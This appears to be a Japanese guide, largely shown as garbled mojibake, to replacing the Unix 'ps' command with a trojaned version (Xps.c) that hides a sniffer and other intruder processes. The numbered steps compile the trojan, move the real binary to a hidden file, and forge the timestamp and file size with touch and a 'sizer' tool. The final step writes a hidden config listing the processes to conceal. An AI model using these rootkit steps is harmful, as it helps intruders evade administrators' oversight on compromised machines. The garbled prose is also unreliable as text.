1.､ﾏ､ｸ､皃ﾋ
tdm､舖niffer､ﾊ､ｫ､ﾏ｡｢ﾆｰ､､､ﾆ､ﾈps､ｹ､ﾈﾈｯｸｫ､ｹ､ｳ､ﾈ､ｬ､ﾇ､ｭ､ﾞ､ｹ｡｣､ｷ､ｫ､ｷps､ﾂ､､ｵ ､ﾈｽﾐ､ﾊ､ｯ､ﾊ､ﾃ､ﾆ､ｷ､ﾞ､､､ﾞ､ｹ､ﾍ｡｣､ｽ､ｦ､荀ﾃ､ﾆｿｯﾆｼﾔ､ﾏﾄｹﾀｸ､ｭ､ｷ､ﾞ､ｹ､ﾎ､ﾇ｡｢ps､ｷ､ﾆｽﾐ､ﾆ､ｭ､ｿｷﾌ､ｭﾆﾝ､ﾟ､ﾋ､ｷ､ﾊ､､､ｳ､ﾈ､ﾇ､ｹ｡｣､ﾞ､ｿｴﾉﾍｼﾔ､ﾎｿﾍ､穡sｲ､ﾇｴﾆｻﾇ｡ｼ･筵ﾎｱ｣､ｷ､ﾋｻﾈ､ｨ､ｫ､筅ｷ､ﾞ､ｻ､｣

2.ﾍﾑｰﾕ､ｷ､ﾆ､ｪ､ｯ､筅ﾎ
､ﾈ､熙｢､ｨ､ｺ｡｢ｴﾉﾍｼﾔﾍﾑ､ﾃ､ﾆ､ｳ､ﾈ､ﾇ｡｢logging_tool､ﾈcracker_baster､ﾃ､ﾆ､､､ｦ･ﾗ･ｰ･鬣ｾ)､｣､ｹﾊﾋ｡､ｭ､ﾞ､ｹ｡｣ﾆｱﾍﾍ､ﾋｿｯﾆｼﾔ､ﾎｿﾍ､龝niffer､ﾈ､ｫtdm､ﾊ､ｫ､箜｣､ｻ､ﾆ､ｷ､ﾞ､､､ﾞ､ｹ､ﾍ｡｣ﾍﾗﾃﾕ､ﾇ､ｹ､陦ﾁ｡｣､ﾈ､熙｢､ｨ､ｺ｡｢Xps.c､ﾈsizerﾅ･ﾗ･ｰ･鬣爨ﾎ･ｵ･､･ｺ､ｴ､ﾞ､ｫ､ｹ･ﾄ｡ｼ･､ﾑｰﾕ､ｷ､ﾞ､ｷ､遉ｦ｡｣｣

3.ｻﾅｹ､ﾟﾊ

1. tmp､ｫ､ﾉ､ﾃ､ｫ､ﾇ｡｢Xps.c､ｳ･ﾑ･､･ｷ､ﾞ､ｹ｡｣
   (ﾎBR> %cd /tmp %cc Xps.c -o ps
2. ･ｪ･ｸ･ﾊ･ﾎps､ﾎｺｮﾆ､ﾈ･ｵ･､･ｺ､ﾎﾇｧ
   (ﾎBR> %ls -al /usr/bin/ps -r-sr-xr-x 1 root sys 26372 7ｷ6ﾆ997ﾇｯ /usr/bin/ps
3. ･ｪ･ｸ･ﾊ･ﾎps､ﾉ､ｳ､ｫ､ﾋｰﾜﾆｰ､ｷ､ﾞ､ｹ｡｣
   (ﾎBR> #mv /usr/bin/ps /.cshrc_old
4. Xps､ｪ･ｸ･ﾊ･s､ﾎ･ﾇ･｣･ｯ･ﾈ･熙ﾋ･ｳ･ﾔ｡ｼ､ｷ､ﾞ､ｹ｡｣
   #cp /tmp/ps /usr/bin
5. ﾆﾕ､ﾈ･ｵ･､･ｺ､ﾑｹｹ､ｷ､ﾞ､ｹ｡｣
   #touch 0716111197 /usr/bin/ps
   #sizer /usr/bin/ps 26372
6. ･ｪ･ｸ･ﾊ･ﾎps｡｢､ｪ､隍ﾓｾﾃ､ｷ､ｿ､､･ﾗ･ｻ･ｹﾌｾ･ｹ･ﾈ､ｮ､ｹ､ｹ･ﾈ･ﾕ･｡･､･ﾏ･ﾇ･｣･ﾕ･ｩ･ﾈ､ﾇ /.cshrc_bak､ﾇ､ｹ｡｣
   (､ｳ､ﾑｹｹ､ｹ､遉ﾏ｡｢Xps.c､ﾎ #define CONFIG_FILE､ﾑｹｹ､ｷ､ﾆ ､ｯ､ﾀ､ｵ､､｡｣)
   #cd /
   #cat > .cshrc_bak
   /.cshrc_old
   logging_tool
   cracker_baster
   ^D
   #